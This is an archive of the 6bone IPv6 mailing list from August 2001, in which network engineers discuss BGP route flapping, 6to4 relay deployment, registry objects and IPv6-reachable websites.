Subject: Re: Looking for a contact person at Stealth.


On Sun, 19 Aug 2001, Amit Schnitzer wrote:

> Does anybody know of a contact person at Stealth ?
> I have been in contact with a person named Shrihari Pandit
> [...]
> I also tried to contact him trough the company's address at ipv6@stealth.net

Amit,

oops. :)

we apologize for the delayed  response - it's unfortunate seeing
you had to seek for alternative contact-method  to  get in touch
with us.  We are mostly pretty easy to find about,  but at times
our schedules are admittedly tied with issues regarding directly
connected customers and other local end-sites.

ipv6@stealth.net is fine as a contact-address. Basically, it has
has the best reach and always gets to the right people. Personal
e-mail addresses have  the problem of being subject to vacations
and other person-related  issues, as in  the case of any changes
in job-description, et cetera.

PS -  I just spoke  with Shri and he said he'd  get back  to you
within the next few hours' time.



>                    Amit Schnitzer 

Hope this helps,
-- 
	Ville <viha@stealth.net>	Network Security/IPv6 Solutions
					Stealth Communications, Inc.




--fdj2RfSjLxBAspz7--

From 6bone-owner  Tue Aug 21 12:28:47 2001
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Date: Tue, 21 Aug 2001 15:28:45 -0400 (EDT)
From: "Robert J. Rockell" <rrockell@sprint.net>
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To: Paul Aitken <paitken@cisco.com>
cc: 6bone@ISI.EDU
Subject: Re: Excessive 6bone BGP route flap?
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There is nothing expressly written in rfc2772 prohibiting dampening. I would
encourage all to dampen where you can (should only affect on EBGP, but you
never know with some of the implementations) with at the very least,
looser-than-default parameters.  Sprint is dampening with default parameters
for IPv6, and it appears to be lessening these issues.

P.S. we are not seeing flaps directly from 8002 at this time.

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
703-689-6322
Sprint E|Solutions: Thinking outside the 435 box
-----------------------------------------------------------------------

On Tue, 21 Aug 2001, Paul Aitken wrote:

->Folks,
->
->I'm looking at my 6bone routers, and seeing excessive bgp flap for
->2001::/16 and 3FFE:8080::/28 :
->
->   Network          From            Flaps Duration Reuse    Path
->
->*d 2001:2E8::/35    3FFE:C00:E:18:: 726   1d12h    00:57:10 8954 8002
->2042 4691 
-> h                  3FFE:80A0:0:F00 1050  4d04h             3320 8002
->4691 
->*d                  3FFE:C00:E:B::2 2678  5d05h    00:57:10 237 3748
->4725 4691 
->*d                  3FFE:80C0:200:5 3608  1w0d     00:57:10 8002 2042
->4691 
->
->*d 3FFE:8080::/28   3FFE:C00:E:18:: 723   1d11h    00:58:10 8954 8002
->4691 
-> h                  3FFE:80A0:0:F00 877   4d04h             3320 8002
->4691 
->*d                  3FFE:C00:E:B::2 1335  5d05h    00:56:10 237 8002
->4691 
->*d                  3FFE:80C0:200:5 3605  1w0d     00:58:10 8002 4691 
->
->*d 3FFE:8080::/28   3FFE:C00:8023:1 1768  1w0d     00:49:20 33 8002 4691 
->
->If I'm reading this right, it flapped 3600 times in the last week - over
->500 times per day, or every 3 minutes :(
->
->I feel that's just a tad excessive :(
->-- 
->Paul Aitken
->IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX
->


From 6bone-owner  Tue Aug 21 13:43:00 2001
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Date: Tue, 21 Aug 2001 16:43:05 -0400
From: Shrihari Pandit <digital@stealth.net>
To: Yutaka Ishizaki <ishizaki@dti.ad.jp>, paitken@cisco.com
Cc: ipv6@stealth.net, 6bone@ISI.EDU
Subject: *RESOLVED* Re: Excessive 6bone BGP route flap?
Message-ID: <20010821164305.A19481@stealth.net>
Mail-Followup-To: Yutaka Ishizaki <ishizaki@dti.ad.jp>, paitken@cisco.com,
	ipv6@stealth.net, 6bone@ISI.EDU
References: <3B8265E1.908ACBD2@cisco.com> <20010822023044G.ishizaki@dti.ad.jp>
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Hi,

   Thanks for reporting.  bx1.ny1,  one of our 6bone routers was
swapping due to memory leak in Zebra's bgpd daemon.  We've applied
patches to the daemon and should be working properly.

   In the future,  you may contact ipv6@stealth.net or noc@stealth.net
when issues arise.  In case of emergency please call 1-212-232-2020 (or
my cellular #, listed below).

   Within the next day or two I'll make sure our 6bone equipment is
monitored properly.

   Sorry for any inconvenience this may have caused.

Kind Regards,

Shrihari Pandit
Stealth Communications, Inc.
Tel: 212-232-2020 (Cel: 646-221-7856)
Fax: 212-232-2021


On Wed, Aug 22, 2001 at 02:30:44AM +0900, Yutaka Ishizaki wrote:
> Hello Paul,
> 
> This is Yutaka Ishizaki of Dream Train Internet(AS4691),
> maintaining route of 2001:2E8::/35 and 3FFE:8080::/28.
> 
> I found problem to flapping tunnel link of AS8002.
> and shutdown of bgp peer now.
> 
> Thank you for your report.
> 
> 
> > Folks,
> > 
> > I'm looking at my 6bone routers, and seeing excessive bgp flap for
> > 2001::/16 and 3FFE:8080::/28 :
> > 
> -- snip --
> > 
> > If I'm reading this right, it flapped 3600 times in the last week - over
> > 500 times per day, or every 3 minutes :(
> > 
> > I feel that's just a tad excessive :(
> 
> 
> -- Yutaka Ishizaki
>     DREAM TRAIN INTERNET, INC.

From 6bone-owner  Wed Aug 22 15:41:28 2001
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Date: Wed, 22 Aug 2001 18:20:02 -0500
From: chad <chad@digitaltriage.net>
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Hello,

I am new to the 6bone, i have been allocated address space and have a
tunnel up and running. According to the 6bone.net site the next step is
adding objects to the 6bone registry. I have added a PERSON and MNTER
object per the new user steps on the registry web interface, my question
is what other objects should i add to complete my registry entries?
I have a bare minimum setup running right now, just a freebsd router,
but i still want to adequately complete the registration process. Thanks
for your help!

- Chad



From 6bone-owner  Thu Aug 23 08:12:57 2001
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From: Pawel Jankowski <janekp@janekp.net>
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To: <6bone@ISI.EDU>
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On Wed, 22 Aug 2001, chad wrote:

> Hello,
>
> I am new to the 6bone, i have been allocated address space and have a
> tunnel up and running. According to the 6bone.net site the next step is
> adding objects to the 6bone registry. I have added a PERSON and MNTER
> object per the new user steps on the registry web interface, my question
> is what other objects should i add to complete my registry entries?
> I have a bare minimum setup running right now, just a freebsd router,
> but i still want to adequately complete the registration process. Thanks
> for your help!
>

ipv6site and inet6num objects

Regards,
Pawel

--
Pawel Jankowski, janekp@IRCnet
Phone: +48 71 783-14-61, GSM: +48 606 473 779
mailto: janekp@qm.pl
6bone-hdl: PJ3-6BONE



From 6bone-owner  Thu Aug 23 17:13:21 2001
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Date: Thu, 23 Aug 2001 17:13:03 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6to4 relay router survey
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6bone Folk,

I would like to find out how many of you are deploying/using 6to4 relay 
routers at this time. Also, whether you plan to in the future.

Please include any technical info, such as anycast (or other) use for 
discovery, and anything else you think relevant, e.g., platform...

If you would rather reply directly to me, please do. The list is fine too.

My purpose is both for 6bone-wide deployment planning, so we can get as 
much experience as possible, and for purposes of ngtrans transition planning.


Thanks,

Bob


From 6bone-owner  Thu Aug 23 20:18:45 2001
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Date: 	Fri, 24 Aug 2001 13:18:22 +1000
From: Anand Kumria <wildfire@progsoc.uts.edu.au>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6to4 relay router survey
Message-ID: <20010824131822.Z29119@ftoomsh.progsoc.uts.edu.au>
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On Thu, Aug 23, 2001 at 05:13:03PM -0700, Bob Fink wrote:
> 6bone Folk,
> 
> I would like to find out how many of you are deploying/using 6to4 relay 
> routers at this time. Also, whether you plan to in the future.

I currently have sutekh.progsoc.org configured to relay onto the
6bone; I've just been setting up BGP peering so we can start announcing 
the 2002::/16 network.

> Please include any technical info, such as anycast (or other) use for 
> discovery, and anything else you think relevant, e.g., platform...

Currently sutekh is running Linux 2.4.7 and Zebra 0.91; sutekh is 
located in Sydney, Australia.

Once I've confirmed that reverse relaying (6bone -> IPv4) is working on
sutekh, I plan to implement the anycast address as per rfc3068

Cheers,
Anand

-- 
   I close my eyes, only for a moment and the moment's gone
   All my dreams, pass before my eyes a curiosity
   Dust in the wind, All we are is dust in the wind
   Don't hang on, nothing lasts forever but the earth and sky
                  Dust in the Wind -- Kansas, Don Kirshner

From 6bone-owner  Thu Aug 23 22:58:40 2001
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Date: Fri, 24 Aug 2001 08:58:27 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6to4 relay router survey
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On Thu, 23 Aug 2001, Bob Fink wrote:
> I would like to find out how many of you are deploying/using 6to4 relay
> routers at this time. Also, whether you plan to in the future.
>
> Please include any technical info, such as anycast (or other) use for
> discovery, and anything else you think relevant, e.g., platform...

We've had an experimental 6to4 relay for semi-internal use for some time
now.  (Un)Fortunately (however you take it :-), we don't have many 6to4
users, so this only helps with one direction of the traffic.

We've also tested 6to4 w/ anycast address.  There were some
implementation, and some operational issues, with this.  Most prominently
6to4 has been (mostly) designed from start to only operate with one 6to4
prefix.  Any real box today would _have to have_ both real 6to4 prefix
derived from real IPv4 address and one from IPv4 anycast address.
So, you'd have to run the two on two different systems.

Anycast is not being used at all yet in interdomain (DFZ) advertisements.

I'm going to write more on this on ngtrans.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Aug 24 06:00:33 2001
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From: Pawel Jankowski <janekp@janekp.net>
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On Wed, 22 Aug 2001, chad wrote:

> Hello,
>
> I am new to the 6bone, i have been allocated address space and have a
> tunnel up and running. According to the 6bone.net site the next step is
> adding objects to the 6bone registry. I have added a PERSON and MNTER
> object per the new user steps on the registry web interface, my question
> is what other objects should i add to complete my registry entries?
> I have a bare minimum setup running right now, just a freebsd router,
> but i still want to adequately complete the registration process. Thanks
> for your help!
>

ipv6site and inet6num objects

Regards,
Pawel

--
Pawel Jankowski, janekp@IRCnet
Phone: +48 71 783-14-61, GSM: +48 606 473 779
mailto: janekp@qm.pl
6bone-hdl: PJ3-6BONE



From 6bone-owner  Fri Aug 24 06:00:34 2001
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Date: Thu, 23 Aug 2001 17:13:03 -0700
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6to4 relay router survey
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6bone Folk,

I would like to find out how many of you are deploying/using 6to4 relay 
routers at this time. Also, whether you plan to in the future.

Please include any technical info, such as anycast (or other) use for 
discovery, and anything else you think relevant, e.g., platform...

If you would rather reply directly to me, please do. The list is fine too.

My purpose is both for 6bone-wide deployment planning, so we can get as 
much experience as possible, and for purposes of ngtrans transition planning.


Thanks,

Bob


From 6bone-owner  Fri Aug 24 06:00:35 2001
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Date: 	Fri, 24 Aug 2001 13:18:22 +1000
From: Anand Kumria <wildfire@progsoc.uts.edu.au>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6to4 relay router survey
Message-ID: <20010824131822.Z29119@ftoomsh.progsoc.uts.edu.au>
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On Thu, Aug 23, 2001 at 05:13:03PM -0700, Bob Fink wrote:
> 6bone Folk,
> 
> I would like to find out how many of you are deploying/using 6to4 relay 
> routers at this time. Also, whether you plan to in the future.

I currently have sutekh.progsoc.org configured to relay onto the
6bone; I've just been setting up BGP peering so we can start announcing 
the 2002::/16 network.

> Please include any technical info, such as anycast (or other) use for 
> discovery, and anything else you think relevant, e.g., platform...

Currently sutekh is running Linux 2.4.7 and Zebra 0.91; sutekh is 
located in Sydney, Australia.

Once I've confirmed that reverse relaying (6bone -> IPv4) is working on
sutekh, I plan to implement the anycast address as per rfc3068

Cheers,
Anand

-- 
   I close my eyes, only for a moment and the moment's gone
   All my dreams, pass before my eyes a curiosity
   Dust in the wind, All we are is dust in the wind
   Don't hang on, nothing lasts forever but the earth and sky
                  Dust in the Wind -- Kansas, Don Kirshner

From 6bone-owner  Fri Aug 24 06:00:35 2001
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Date: Fri, 24 Aug 2001 08:58:27 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6to4 relay router survey
In-Reply-To: <5.1.0.14.0.20010823170804.02a45cd8@imap2.es.net>
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On Thu, 23 Aug 2001, Bob Fink wrote:
> I would like to find out how many of you are deploying/using 6to4 relay
> routers at this time. Also, whether you plan to in the future.
>
> Please include any technical info, such as anycast (or other) use for
> discovery, and anything else you think relevant, e.g., platform...

We've had an experimental 6to4 relay for semi-internal use for some time
now.  (Un)Fortunately (however you take it :-), we don't have many 6to4
users, so this only helps with one direction of the traffic.

We've also tested 6to4 w/ anycast address.  There were some
implementation, and some operational issues, with this.  Most prominently
6to4 has been (mostly) designed from start to only operate with one 6to4
prefix.  Any real box today would _have to have_ both real 6to4 prefix
derived from real IPv4 address and one from IPv4 anycast address.
So, you'd have to run the two on two different systems.

Anycast is not being used at all yet in interdomain (DFZ) advertisements.

I'm going to write more on this on ngtrans.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Aug 24 09:45:58 2001
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I've been lurking here for some time, but now want to put a bit of 
effort into doing ipv6.

Currently I'm running Windows XP (build 2505 right now), and would like 
to start by just making this machine run it.  My understanding is that 
I'll need to set it up to route ipv6 messages to a gatway/tunnel/router 
somewhere else.

If I cannot do it with this machine, I could set up a freeBSD box and 
follow the instructions at kame, but I'd like to see what's available 
for this system if possible.

Thanks for your time!  I realize this isn't the best list to ask this 
question, but I'd appreciate any pointers to the right sites and lists.

-Adam


From 6bone-owner  Fri Aug 24 11:07:30 2001
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From: "Matteo Tescione" <wizard@think.to.it>
To: <6bone@ISI.EDU>
Subject: Ptla Requests...
Date: Fri, 24 Aug 2001 20:07:31 +0200
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Messaggio in formato MIME composto da più parti.

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Hi to all,=20
how is it possible to become a pTLA with a bgp4+ peering activated while =
all major transit sites accept bgp4 peering only from pTLA?
It's like dog eating tail....
Can anyone help me?

Matteo Tescione
IP & Security Manager
INCOM s.r.l.
via Ischia I, Grottammare AP ITALY

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi to all, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>how is it possible to become a pTLA =
with a bgp4+=20
peering activated while all major transit sites accept bgp4 peering only =
from=20
pTLA?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>It's like dog eating =
tail....</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Can anyone help me?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Matteo Tescione<BR>IP &amp; Security=20
Manager<BR>INCOM s.r.l.<BR>via Ischia I, Grottammare AP=20
ITALY</FONT></DIV></BODY></HTML>

------=_NextPart_000_000B_01C12CD8.6811CE40--


From 6bone-owner  Fri Aug 24 11:57:05 2001
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From: "Robert J. Rockell" <rrockell@sprint.net>
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To: Matteo Tescione <wizard@think.to.it>
cc: 6bone@ISI.EDU
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I think who one accepts BGP from is a local policy.  I run BGP to many many
of my customers who use space out of my pTLA (well, they all do).

Thanks
Rob Rockell
Principal Engineer
SprintLink Europe/Asia
703-689-6322
Sprint E|Solutions: Thinking outside the 435 box
-----------------------------------------------------------------------

On Fri, 24 Aug 2001, Matteo Tescione wrote:

->Hi to all, 
->how is it possible to become a pTLA with a bgp4+ peering activated while all major transit sites accept bgp4 peering only from pTLA?
->It's like dog eating tail....
->Can anyone help me?
->
->Matteo Tescione
->IP & Security Manager
->INCOM s.r.l.
->via Ischia I, Grottammare AP ITALY
->


From 6bone-owner  Fri Aug 24 12:51:14 2001
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To: Bob Fink <fink@es.net>
CC: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6to4 relay router survey
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Bob Fink wrote:
> 
> 6bone Folk,
> 
> I would like to find out how many of you are deploying/using 6to4 relay
> routers at this time. Also, whether you plan to in the future.

Cisco has been successfully operating a 6to4 relay for some time, and we
plan to continue offering this service for the foreseeable future.
Feedback from customers has been positive, although we have more
customers with fully configured tunnels than 6to4 customers - I've
configured five new fully configured tunnels and only one 6to4 customer
this week.

> Please include any technical info, such as anycast (or other) use for
> discovery, and anything else you think relevant, e.g., platform...

We're transferring from a 4500 to a 7200, both running the latest Cisco
IPv6 EFT image. They're located in San Jose, CA.

-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Fri Aug 24 13:57:51 2001
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To: "'M. Adam Davis'" <adavis@ubasics.com>, <6bone@ISI.EDU>
Subject: RE: Lurker wants to get involved - but how best to get started?
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Adam,

>From what I have read, one of the upcoming builds of XP will include a
beta version of IPV6.  Here is a link to the Microsoft IPV6 'Technology
Preview' for windows 2000
http://msdn.microsoft.com/downloads/sdks/platform/tpipv6.asp#about

I am not sure if it will work with XP, but the setup on windows 2000 was
pretty straight forward.  Unpack the file, and add the protocol from
your networking properties, bind it to an adapter (by checking the
checkbox) and you are ready to roll.  It also adds some neat utilities;
ping6, tracert6, and (I think) a 6to4 gateway.  I haven't gotten further
than installing the protocol and pinging my IPV6 address...but that
download should give you everything you need.

-Chris Schuerger 


-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of M.
Adam Davis
Sent: Friday, August 24, 2001 12:46 PM
To: 6bone@ISI.EDU
Subject: Lurker wants to get involved - but how best to get started?

I've been lurking here for some time, but now want to put a bit of 
effort into doing ipv6.

Currently I'm running Windows XP (build 2505 right now), and would like 
to start by just making this machine run it.  My understanding is that 
I'll need to set it up to route ipv6 messages to a gatway/tunnel/router 
somewhere else.

If I cannot do it with this machine, I could set up a freeBSD box and 
follow the instructions at kame, but I'd like to see what's available 
for this system if possible.

Thanks for your time!  I realize this isn't the best list to ask this 
question, but I'd appreciate any pointers to the right sites and lists.

-Adam


From 6bone-owner  Fri Aug 24 14:45:14 2001
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Subject: RE: 6to4 relay router survey
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I have both a BGP feed from my pTLA and a static route to ::/0 with a
high administrative distance to someone else's 6to4 relay.

The reasoning is: If egress traffic ends up matching the default route,
it is likely that there is something wrong with my BGP feed and then I'd
rather not go in the tunnel to my pTLA because it might be the reason
there is something wrong with my BGP feed. Poor man's multihoming for
egress traffic.

Router is Cisco 2611 12.2(T1), never tried anycast.

Michel.

-----Original Message-----
From: Bob Fink [mailto:fink@es.net]
Sent: Thursday, August 23, 2001 5:13 PM
To: 6BONE List
Subject: 6to4 relay router survey

6bone Folk,

I would like to find out how many of you are deploying/using 6to4 relay
routers at this time. Also, whether you plan to in the future.

Please include any technical info, such as anycast (or other) use for
discovery, and anything else you think relevant, e.g., platform...

If you would rather reply directly to me, please do. The list is fine
too.

My purpose is both for 6bone-wide deployment planning, so we can get as
much experience as possible, and for purposes of ngtrans transition
planning.


Thanks,

Bob

From 6bone-owner  Fri Aug 24 15:56:40 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Paul Aitken <paitken@cisco.com>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6to4 relay router survey
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On Fri, 24 Aug 2001, Paul Aitken wrote:
> Bob Fink wrote:
> >
> > 6bone Folk,
> >
> > I would like to find out how many of you are deploying/using 6to4 relay
> > routers at this time. Also, whether you plan to in the future.
>
> Cisco has been successfully operating a 6to4 relay for some time, and we
> plan to continue offering this service for the foreseeable future.
> Feedback from customers has been positive, although we have more
> customers with fully configured tunnels than 6to4 customers - I've
> configured five new fully configured tunnels and only one 6to4 customer
> this week.

Excuse me.. how do you measure a "6to4 customer"?  By definition there has
to be no prior configuration.  (And when I tested 6to4 relay functionality
in Cisco IOS 12.2(2)T, it wasn't possible to restrict users by access
lists either).


Also, speaking of customers, as a general 6to4 management issue..:

I sure would be interested of nice ways to accomplish either:

 1) monitoring the usage, getting user counts etc. statistics that are
much more easily available with configured tunnel/native customers

 2) test suite for verifying relay functionality, so that the relay can be
fixed ASAP or removed from BGP/IGP announcements if failing.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Aug 24 16:18:02 2001
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Message-ID: <3B86E087.95973E01@cisco.com>
Date: Sat, 25 Aug 2001 00:17:27 +0100
From: Paul Aitken <paitken@cisco.com>
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Pekka Savola wrote:
> 
> Excuse me.. how do you measure a "6to4 customer"?

Our 6to4 service is "by request", and folks do actually have the
courtesy to contact us at ipv6-support@cisco.com before presuming to use
our relay.

> Also, speaking of customers, as a general 6to4 management issue..:
> 
> I sure would be interested of nice ways to accomplish either:
> 
>  1) monitoring the usage, getting user counts etc. statistics that are
> much more easily available with configured tunnel/native customers
> 
>  2) test suite for verifying relay functionality, so that the relay can be
> fixed ASAP or removed from BGP/IGP announcements if failing.

Thanks. I'll forward your request to the IPv6 Product Manager.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Sat Aug 25 00:00:25 2001
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From: Pekka Savola <pekkas@netcore.fi>
To: Paul Aitken <paitken@cisco.com>
cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6to4 relay router survey
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On Sat, 25 Aug 2001, Paul Aitken wrote:
> Pekka Savola wrote:
> >
> > Excuse me.. how do you measure a "6to4 customer"?
>
> Our 6to4 service is "by request", and folks do actually have the
> courtesy to contact us at ipv6-support@cisco.com before presuming to use
> our relay.

That only shows the customers that configure their systems to use your
relay.

As you advertise the 2002::/16 to the Internet, there are a _lot_ of
people just using the closest relay with 2001::/16 -> 2002::/16 traffic.

How widespread this use is, would be equally interesting, at least to me.
(ie: does the BGP announcement policy appear to work as it should).

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Sat Aug 25 06:45:23 2001
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To: Pekka Savola <pekkas@netcore.fi>
CC: 6BONE List <6bone@ISI.EDU>
Subject: Re: 6to4 relay router survey
References: <Pine.LNX.4.33.0108250956590.21240-100000@netcore.fi>
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Pekka Savola wrote:
> 
> On Sat, 25 Aug 2001, Paul Aitken wrote:
> > Pekka Savola wrote:
> > >
> > > Excuse me.. how do you measure a "6to4 customer"?
> >
> > Our 6to4 service is "by request", and folks do actually have the
> > courtesy to contact us at ipv6-support@cisco.com before presuming to use
> > our relay.
> 
> That only shows the customers that configure their systems to use your
> relay.
> 
> As you advertise the 2002::/16 to the Internet, there are a _lot_ of
> people just using the closest relay with 2001::/16 -> 2002::/16 traffic.

Sure, I appreciate that.

I was trying to provide an insight from my feel for fully configured
tunnel usage against 6to4 usage.

The fact is that our 6to4 traffic constitues only 7% of our outbound
packets, and some 24% of our outbound bytes. Even if I discount four
configured tunnels with excessive packets (between them contributing 60%
of our packets and 39% of our bytes), the 6to4 figures are 17% packets
and 39% bytes.

So however you look at it, the 6to4 traffic is still only a small
fraction of the overall traffic.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX

From 6bone-owner  Mon Aug 27 04:59:14 2001
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Date: Mon, 27 Aug 2001 12:57:13 +0100
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Subject: IPv6 Peering Request
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Hi, 

To anyone who is interested, we are looking for IPv6 peers. 

We can do native IPv6 connectivity within Telehouse, London, 
England. 

Or IPv6 in IPv4 tunnels. 

Our ASN is 20834
Our network is 3ffe:8270::/28

Regards,
Chris




From 6bone-owner  Wed Aug 29 11:52:37 2001
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Reply-To: <micklesc@aol.net>
From: "Cleve Mickles" <micklesc@aol.net>
To: <6bone@ISI.EDU>
Subject: 6BONE Web Content
Date: Wed, 29 Aug 2001 14:51:33 -0400
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I'm curious to know if there are any 
interesting IPv6 web content sites 
out there reacheable via the 6bone?  
If anyone has some URL pointers
please send me a few.


Thanks,

Cleve...

====================================
Cleve Mickles
Network Architect
America Online, Network Operations
====================================  


From 6bone-owner  Wed Aug 29 16:31:55 2001
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To: micklesc@aol.net
cc: 6bone@ISI.EDU
Subject: Re: 6BONE Web Content 
In-reply-to: Your message of "Wed, 29 Aug 2001 14:51:33 EDT."
             <NFBBKCMPAMBLMHAHHIMBIEKECKAA.micklesc@aol.net> 
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From: Michael Richardson <mcr@sandelman.ottawa.on.ca>
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  www.kame.net has a dancing turtle if you get there via V6.

]       ON HUMILITY: to err is human. To moo, bovine.           |  firewalls  [
]   Michael Richardson, Sandelman Software Works, Ottawa, ON    |net architect[
] mcr@sandelman.ottawa.on.ca http://www.sandelman.ottawa.on.ca/ |device driver[
] panic("Just another NetBSD/notebook using, kernel hacking, security guy");  [

From 6bone-owner  Wed Aug 29 17:21:41 2001
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http://hs247.com/ has a good list of IPv6
acessible servers, and IPv6 related information.
I suppose they count as a IPv6 website since
they do have AAAA records. :)


Cleve Mickles wrote:
> 
> I'm curious to know if there are any
> interesting IPv6 web content sites
> out there reacheable via the 6bone?
> If anyone has some URL pointers
> please send me a few.
> 
> Thanks,
> 
> Cleve...
> 
> ====================================
> Cleve Mickles
> Network Architect
> America Online, Network Operations
> ====================================

-- 

 ..:: Friends don't let friends drink and rm -rf 
 PGP: http://packetjunkie.net/ascii/lazy-rsa.asc
 Web: [ packetjunkie.net            bsdbox.org ]

From 6bone-owner  Wed Aug 29 22:36:17 2001
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From: "Alan P. Laudicina" <alanp@boredom.org>
To: 6bone@ISI.EDU
Subject: IPv6 accessible httpd servers
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Someone from AOL was looking for a list of httpds that are
WWW accessible.  Well, I deleted the message, so I can't
reply, but a list can be found at:

http://www.ipv6.org/v6-www.html

I have found that some of these don't work, though.

Thanks,
Alan P. Laudicina

From 6bone-owner  Thu Aug 30 00:26:16 2001
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On Wed, 29 Aug 2001, Cleve Mickles wrote:

>
> I'm curious to know if there are any
> interesting IPv6 web content sites
> out there reacheable via the 6bone?
> If anyone has some URL pointers
> please send me a few.

Not really all that interesting, but we're proud of it:
http://www.ast.ipv6.cam.ac.uk

Pete.


From 6bone-owner  Thu Aug 30 00:32:10 2001
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From: peter.hovell@bt.com
To: micklesc@aol.net
Cc: 6bone@ISI.EDU
Subject: RE: 6BONE Web Content
Date: Thu, 30 Aug 2001 08:28:14 +0100
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Also try www.ipv6forum.com that has a v6 version with spinning globe.

Regards,
Peter



-----Original Message-----
From: lazy [mailto:lazy@bsdbox.org]
Sent: Thursday, August 30, 2001 1:21 AM
To: micklesc@aol.net
Cc: 6bone@ISI.EDU
Subject: Re: 6BONE Web Content


http://hs247.com/ has a good list of IPv6
acessible servers, and IPv6 related information.
I suppose they count as a IPv6 website since
they do have AAAA records. :)


Cleve Mickles wrote:
> 
> I'm curious to know if there are any
> interesting IPv6 web content sites
> out there reacheable via the 6bone?
> If anyone has some URL pointers
> please send me a few.
> 
> Thanks,
> 
> Cleve...
> 
> ====================================
> Cleve Mickles
> Network Architect
> America Online, Network Operations
> ====================================

-- 

 ..:: Friends don't let friends drink and rm -rf 
 PGP: http://packetjunkie.net/ascii/lazy-rsa.asc
 Web: [ packetjunkie.net            bsdbox.org ]

From 6bone-owner  Thu Aug 30 01:56:56 2001
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Date: Thu, 30 Aug 2001 10:56:48 +0200
From: Jan Oravec <wsx@wsx6.net>
To: 6bone@ISI.EDU
Subject: 6bone whois db and mnt-lower
Message-ID: <20010830105648.A96035@ipv6.isternet.sk>
Reply-To: Jan Oravec <wsx@wsx6.net>
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Hi,

Is mnt-lower attribute implemented on whois.6bone.net ?

I created this record:

inet6num:     3FFE:80ED::/32
netname:      XS26-NOC
descr:        XS26 NOC
country:      DE HU SK
admin-c:      JO-6BONE
tech-c:       JO-6BONE
mnt-by:       NEXTRA-MNT
mnt-lower:    NEXTRA-MNT
changed:      wsx@wsx6.net 20010830
source:       6BONE

Then I tried to create object 3ffe:80ed:ffff::/48 with some other mnt-by:
inet6num:     3FFE:80ED:FFFF::/48
netname:      XS26-NOC-test
descr:        XS26 NOC test
country:      SK
admin-c:      JO-6BONE
tech-c:       JO-6BONE
mnt-by:       JO-6BONE
password:     ---
changed:      wsx@wsx6.net 20010830
source:       6BONE

And the result:
New OK: [inet6num] 3FFE:80ED:FFFF::/48

RIPE223 says:
'The "mnt-lower:" attribute is used to reference a mntner that authorises
the creation of more specific inetnum or inet6num objects.'


Regards,

Jan

From 6bone-owner  Thu Aug 30 02:54:52 2001
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Date: Thu, 30 Aug 2001 11:53:19 +0200
From: Feico Dillema <feico@pasta.cs.uit.no>
To: Cleve Mickles <micklesc@aol.net>
Cc: 6bone@ISI.EDU
Subject: Re: 6BONE Web Content
Message-ID: <20010830115317.B4004@pasta.cs.uit.no>
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On Wed, Aug 29, 2001 at 02:51:33PM -0400, Cleve Mickles wrote:
> 
> I'm curious to know if there are any 
> interesting IPv6 web content sites 
> out there reacheable via the 6bone?  
> If anyone has some URL pointers
> please send me a few.

Our server is on the 6bone, and amongst others mirrors www.netbsd.org
and www.freebsd.org. See for overview:

http://www.pasta.cs.uit.no/Pasta/virtual.html

Feico.

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Date: Thu, 30 Aug 2001 09:21:19 -0400
To: <micklesc@aol.net>, <6bone@ISI.EDU>
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: Re: 6BONE Web Content
In-Reply-To: <NFBBKCMPAMBLMHAHHIMBIEKECKAA.micklesc@aol.net>
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http://www.6bone.net
http://www.normos.org
http://www.ipv6forum.com

and someone started a list a while ago (http://www.ipv6.org/v6-www.html), 
but I don't know if it is current.

in some ways, later one, there will be no way to find the list of ipv6 web 
sites!

Marc.

At/À 14:51 2001-08-29 -0400, Cleve Mickles you wrote/vous écriviez:

>I'm curious to know if there are any
>interesting IPv6 web content sites
>out there reacheable via the 6bone?
>If anyone has some URL pointers
>please send me a few.
>
>
>Thanks,
>
>Cleve...
>
>====================================
>Cleve Mickles
>Network Architect
>America Online, Network Operations
>====================================



From 6bone-owner  Thu Aug 30 07:16:00 2001
